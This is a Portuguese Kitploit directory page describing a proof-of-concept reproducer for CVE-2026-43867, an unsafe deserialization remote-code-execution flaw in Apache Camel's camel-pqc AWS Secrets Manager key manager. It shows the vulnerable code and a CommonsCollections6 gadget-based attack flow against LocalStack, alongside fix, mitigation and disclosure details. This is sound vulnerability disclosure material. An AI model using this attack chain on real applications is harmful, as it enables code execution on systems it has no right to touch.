Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-43867 — Reproducer for CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager unsafe key-metadata deserialization (RCE) | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-43867
Vulnerability AnalysisCode AnalysisExploitationCloud SecurityBinary Exploitation
GitHuboscerd/cve-2026-43867

CVE-2026-43867

Reproducer for CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager unsafe key-metadata deserialization (RCE)

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

camel-pqc AWS Secrets Manager Reprodutor de Desserialização Insegura de Metadados de Chave (CVE-2026-43867)

Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-pqc do Apache Camel, rastreada como CVE-2026-43867. O método AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() lê metadados de chave pós-quântica persistidos de um segredo do AWS Secrets Manager, decodificando o valor armazenado em Base64 e desserializando-o com um java.io.ObjectInputStream.readObject() bruto e sem ObjectInputFilter — a conversão para KeyMetadata ocorre apenas após readObject() retornar, portanto quaisquer efeitos colaterais de readObject() são executados primeiro. Um principal que pode escrever nesse segredo (secretsmanager:PutSecretValue) pode armazenar um objeto serializado malicioso que é desserializado durante operações normais do ciclo de vida da chave, potencialmente levando à execução de código.

Advisory: https://camel.apache.org/security/CVE-2026-43867.html

Resumo da Vulnerabilidade

Mesmo defeito do CVE-2026-46590 (reportado de forma independente; esse aviso também cobre os gerenciadores irmãos HashiCorp Vault e baseados em arquivo), e um seguimento de correção incompleta do CVE-2026-40048 (CAMEL-23200), que alterou FileBasedKeyLifecycleManager para um formato JSON/PKCS#8/X.509 mas não adicionou um ObjectInputFilter e não cobriu os gerenciadores AWS/Vault.

Detalhes Técnicos

root@kitploit:~
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
    byte[] data = Base64.getDecoder().decode(base64);
    ByteArrayInputStream bais = new ByteArrayInputStream(data);
    try (ObjectInputStream ois = new ObjectInputStream(bais)) {   // NO ObjectInputFilter
        return (KeyMetadata) ois.readObject();                    // gadget fires here, before the cast
    }
}

getKeyMetadata(keyId) lê o segredo nomeado <keyPrefix>/<keyId>/metadata, analisa seu envelope JSON ({"metadata":"<base64>","keyId":...,"algorithm":...}) e passa o campo metadata para deserializeMetadata. A correção (4.18.3 / 4.21.0) introduz um KeyMetadataCodec compartilhado que armazena metadados como JSON para todos os gerenciadores e restringe as leituras remanescentes de ObjectInputStream legadas com uma lista de permissões ObjectInputFilter.

Atacante vs. vítima

A vítima é o aplicativo que gerencia chaves PQC com o gerenciador AWS. O atacante é qualquer principal que possa escrever o segredo de metadados (secretsmanager:PutSecretValue). Esta Prova de Conceito usa LocalStack para emular o AWS Secrets Manager; o endpoint /exploit/attack escreve um segredo de metadados malicioso e então aciona o caminho de leitura do gerenciador.

root@kitploit:~
CVE-2026-43867/
├── pom.xml                 # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile              # runs the app (--add-opens for gadget build)
├── docker-compose.yml      # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Gadget.java             # CommonsCollections6 gadget, fires during readObject()
    │   └── ExploitController.java  # writes the crafted secret, then calls getKeyMetadata()
    └── resources/
        └── application.properties

Em um ataque real, os bytes serializados são produzidos offline pelo atacante (ex.: com ysoserial). Esta PoC constrói o gadget em processo, e é por isso que a JVM é executada com --add-opens java.base/java.util=ALL-UNNAMED — um detalhe de construção do gadget, não relacionado à vulnerabilidade.

Pré-requisitos

  • Java 17+ e Maven 3.8+
  • Docker (executa LocalStack e o aplicativo)

Etapas de Reprodução

Passo 1: Construir e iniciar tudo

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Isso inicia o LocalStack (emulando o AWS Secrets Manager) e o aplicativo reprodutor, que direciona seu AwsSecretsManagerKeyLifecycleManager para o LocalStack via a substituição de endpoint.

Passo 2: Acionar a desserialização (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
#    getKeyMetadata() threw java.lang.ClassCastException  (expected — the gadget runs during readObject ...)
#
#    >>> RCE proof — /tmp/pwned exists: true

Passo 3: Verificar

root@kitploit:~
docker exec cve-2026-43867 ls -la /tmp/pwned

Limpeza

root@kitploit:~
docker compose down

Vetores de Ataque

Qualquer aplicativo que use AwsSecretsManagerKeyLifecycleManager cujo segredo de metadados de chave possa ser escrito por uma parte diferente da identidade confiável do próprio aplicativo. A desserialização ocorre durante operações comuns do ciclo de vida da chave (getKeyMetadata, loadExistingKeys, listKeys, verificações de rotação, …).

Condições de Exploração

  1. Um aplicativo usando o AwsSecretsManagerKeyLifecycleManager do camel-pqc em uma versão afetada.
  2. O atacante pode escrever o segredo de metadados (secretsmanager:PutSecretValue nele).
  3. Uma biblioteca de gadget no classpath (aqui commons-collections:3.2.1).

Correção Recomendada

Atualize para 4.18.3 / 4.21.0 (CAMEL-23726). Os metadados são armazenados como JSON e quaisquer leituras remanescentes de ObjectInputStream legadas são restritas por um ObjectInputFilter de lista de permissões.

Mitigação

Até a atualização:

  1. Restrinja secretsmanager:PutSecretValue no segredo de metadados do camel-pqc à própria identidade do aplicativo (IAM de privilégio mínimo).
  2. Mantenha o material da chave PQC em um segredo separado de quaisquer dados que princípios menos confiáveis possam escrever.
  3. Remova bibliotecas de gadget do classpath (atualize/remova commons-collections 3.x e semelhantes).

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada e corrigida publicamente. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentecamel-pqc (AwsSecretsManagerKeyLifecycleManager)
Classe Afetadaorg.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata
CWECWE-502: Desserialização de Dados Não Confiáveis
ImpactoExecução de código no aplicativo de gerenciamento de chaves (requer acesso de escrita ao segredo de metadados)
Versões AfetadasFrom 4.18.0 before 4.18.3, from 4.19.0 before 4.21.0
Versões Corrigidas4.18.3, 4.21.0 (camel-pqc não está na linha LTS 4.14.x)
JIRACAMEL-23726
Reportado porVenkatraman Kumar (Securin)